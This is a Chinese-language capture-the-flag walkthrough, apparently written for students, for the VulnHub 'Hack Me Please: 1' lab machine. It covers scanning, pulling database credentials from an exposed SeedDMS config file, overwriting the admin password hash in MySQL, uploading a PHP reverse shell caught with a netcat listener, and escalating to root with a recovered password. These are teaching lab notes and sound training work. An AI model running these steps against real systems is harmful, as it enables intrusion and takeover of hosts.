# HACK ME PLEASE: 1 :::spoiler [靶機簡介](https://www.vulnhub.com/entry/hack-me-please-1,731/) :::info **About Release** Name: Hack Me Please: 1 Date release: 31 Jul 2021 Author: Saket Sourav Series: Hack Me Please **Download** Hack_Me_Please.rar (Size: 4.1 GB) Download (Mirror): https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar **Description** Difficulty: Easy Description: An easy box totally made for OSCP. No bruteforce is required. Aim: To get root shell **File Information** Filename: Hack_Me_Please.rar File size: 4.1 GB MD5: 787498429EACAE29B53594E74D8B7176 SHA1: EBD08CDE98442E526D21D5D00BE45C0CBFF517E1 **Virtual Machine** Format: Virtual Machine (Virtualbox - OVA) Operating System: Linux **Networking** DHCP service: Enabled IP address: Automatically assign ::: <br> <br> **前置工作** * [匯入 Virtualbox](https://blog.pulipuli.info/2016/07/virtualbox-how-to-import-ovf-format.html) * [虛擬機配置不同網路](https://zhuanlan.zhihu.com/p/554893004) * [教學影片](https://www.youtube.com/live/sGkwmjppU8U?feature=share) <br> <br> ### 步驟一:找出目標 請使用 netdiscovery 或類似工具,找出靶機的 IP 位址。 **netdiscover**: [1](https://blog.csdn.net/u010698107/article/details/115288643)、[2](https://www.tw511.com/24/273/9855.html)、 [3](https://ithelp.ithome.com.tw/articles/10274282?sc=hot)、 [4](https://zhuanlan.zhihu.com/p/423742743)  <br> <br> ### 步驟二:通訊埠掃描 請使用 nmap 或類似工具,找出靶機的所有通訊埠。 提示:雖然建議大家平常不要用 Aggressive Scan, 但做作業可以喔。 你應該至少會掃出 port 80 跟 3306,想想它們是甚麼服務。 **NMAP**:[1](https://www.osslab.tw/books/linux-administration/page/nmap-%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4%E9%9B%86)、[2](https://www.oreilly.com/library/view/nmap-network-exploration/9781786467454/916fdbc5-6ae2-4f8b-a5a2-c2515309daad.xhtml)  <br> <br> ### 網頁伺服器列舉 連上網頁看看,順道用瀏覽器把網頁原始檔打開瞧瞧,如果本身網頁沒有問題,看看他 include 了那些外部檔案,特別是 JavaScript 的,如果你留意到了 js/main.js,請把他打開,找到以下內容  SeedDMS 是甚麼?它是一個開源的,使用 PHP 與 MySQL 搭建的網頁化文件管理器,在更新文件時提供工作流管理和通知。它的套件檔於下面連結,目前已發行到 6.0.x 版本。 https://sourceforge.net/p/seeddms/code/ci/seeddms-6.0.x/tree/ 而我們看到的版本是 5.1.22,版本有點舊,那就有機會。到 exploit-db 輸入 SeedDMS 找找看 https://www.exploit-db.com/ 遇到找不到原始套件的,可以用網站映射工具,從目標主機抓下來慢慢看。    <br> <br> ### 步驟四:套件查看 很遺憾的,它最後的 Cross-Site Scripting 與 RCE Bug 都在 5.1.18 以後就不存在了。那只好來找找,有沒有設定上的疏失吧。從前面的連結,你應該可以找到 5.1.22 版的目錄 https://sourceforge.net/p/seeddms/code/ci/5.1.22/tree/ 哪個路徑看起來像是設定檔存放的地方?就是那個 conf。打開看一下裡面有啥:   步驟三跟你說套件會裝在 /seeddms51x/seeddms-5.1.22/ 下,那就試試用瀏覽器查看一下以下連結 ``` http://<CTF_Machine_IP>/seeddms51x/seeddms-5.1.22/conf/ http://10.0.2.15/seeddms51x/seeddms-5.1.22/conf/ ```  也可能是去掉子版本的路徑 ``` http://<CTF_Machine_IP>/seeddms51x/conf/ ```  哎呀,可惜管理員把 Directory Traversal 功能關掉了,不然就看的到設定檔了。不過,有沒有發現兩個的錯誤訊息不同,一個是 404 File not found,一個是403 Forbidden。想想哪個是存在的呦。繼續回到 sourceforge 上查看。 <br> <br> ### 步驟五:套件分析 /conf 裡面有啥?   .htaccess   settings.xml.template   stopwords.txt stopwords.txt 是個字典檔,沒太多用途; settings.xml.template 嘛…往下看,大概到了中間偏後一點點的地方,What!!! 竟然要設定 dbUser 跟 dbPass,好傢伙,有戲了。但實際檔案連結呢?   再看到 .htaccess  有沒有看到上面的註解?bingo,找到設定檔的預設路徑了。 串起前面 403 錯誤的 URL 前綴: ``` http://<CTF_Machine_IP>/seeddms51x/conf/settings.xml http://10.0.2.15/seeddms51x/conf/settings.xml ``` What a wonderful world! 有沒有看到資料庫的設定了。  <br> <br> ### 步驟六:連上資料庫看看 ``` SQL mysql -h <CTF_Machine_IP> -u <dbUser> -p mysql -h 10.0.2.15 -u seeddms -p ``` 到處看看 ``` SHOW DATABASES; ``` 有一個 seeddms 資料庫 ``` USE seeddms; SHOW TABLES; ``` 所有表格都是 tbl 開頭,只有一個 users 不是,很有可能就是管理者的資料 ``` SELECT * FROM users; ``` 暫時沒有用,不管,先記下來再說。  從 tbl 系列中,又看到跟使用者有關的 tblusers 資料表。 ``` SELECT * FROM tblusers; ``` 看到前台的兩個帳號了,guest 沒密碼不能登入,權限可能也不夠,admin 的權 限比較香。  pwd 欄位長度 32 個字元,我們學過的雜湊演算法中,應該就是 MD5 了。 <br> <br> ### 步驟七:密碼破解 * 方法一:課堂教過 John the ripper,你可以建字典檔,或用暴力法破解它。 * John the ripper:[1](https://ithelp.ithome.com.tw/articles/10300529) * 方法二:沒猜到密碼怎麼辦?改掉它,或是自己加一個。這只講改掉的流程,insert 的指令太長不打了。使用 md5sum 工具或網頁的MD5 生成工具,把你要的密碼雜湊成 MD5。 再來就是直接覆蓋資料庫了。 ``` UPDATE tblUsers SET pwd='21232f297a57a5a743894a0e4a801fc3' WHERE login='admin'; ``` 注意:pwd 的字串記得改成你自己的。 123456的MD5: ``` e10adc3949ba59abbe56e057f20f883e ```  <br> <br> ### 步驟八:登入前台 可以去登入看看了,根據原始檔案說明,應該在這 ``` http://<CTF_Machine_IP>/seeddms51x/seeddms-5.1.22/ http://10.0.2.15/seeddms51x/seeddms-5.1.22/ ``` 看一下你的身分  <br> <br> ### 步驟九:上傳反向後門 既然它是 PHP/MySQL,我們就利用上傳功能,建立一個 php 反向後門來玩吧,從這邊下載人家寫好的 PHP webshell 工具: https://pentestmonkey.net/tools/web-shells/php-reverse-shell 記得根據你攻擊端的 ip 與 port 修改檔案。 Kali 端就不用複雜的 metasploit 了,簡單用 netcat 開個接口就夠用了 ``` nc -v -n -l -p 1234 ``` -p 後面是你剛剛指定的 port 喔。  接著,從網頁的 Add Document,建立一份新文件,把剛剛 webshell 改好的php 檔上傳吧。  <br> <br> ### 步驟十:執行反向後門 上傳後的檔案,可以點擊下載,但好像無法執行怎麼辦? 繼續追蹤原始碼,裡面上傳的儲存位置,會在以下預設路徑 ``` http://site.example.com/data/1048576/<document_id>/1.php ``` <document_id> 可以從下載的 URL 中找到,而此機器的套件裝在 seeddms51x 目錄下,所以 URL 成了以下: ``` http://<CTF_Machine_IP>/seeddms51x/data/1048576/<document_id>/1.php http://10.0.2.15/seeddms51x/data/1048576/8/1.php ```   執行一下它吧,看看 kali 上的 nc 是否接上了,  需要更多功能請參考 https://nepcodex.com/2021/06/upgrade-to-an-intelligent-reverse-shell/ <br> <br> ### 步驟十一:越權 你現在是已 www-data 身分進入系統,習慣上查一下 /etc/passwd,發現有個使用者帳號 saket。ㄟ….跟剛剛 users 資料表的一樣耶。那就 ``` which python3 python3 -c 'import pty;pty.spawn("/bin/bash")' #這步驟很重要,一般terminal無法輸入sudo密碼 cd /etc cat passwd su - saket Saket@#$1337 ```  密碼貼過來,WTF,進去了。再 try try 管理者是否是預設第一個帳號擁有sudo 的權限(Ubuntu 的特性)。 ``` sudo -i Saket@#$1337 ``` 密碼再貼一次。 恭喜恭喜恭喜你!!!!! 確認一下準備收工了 ``` id whoami ```  這就是簡易的 CTF,因為是靶機,沒有必要刪除軌跡,所以就結束囉。
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up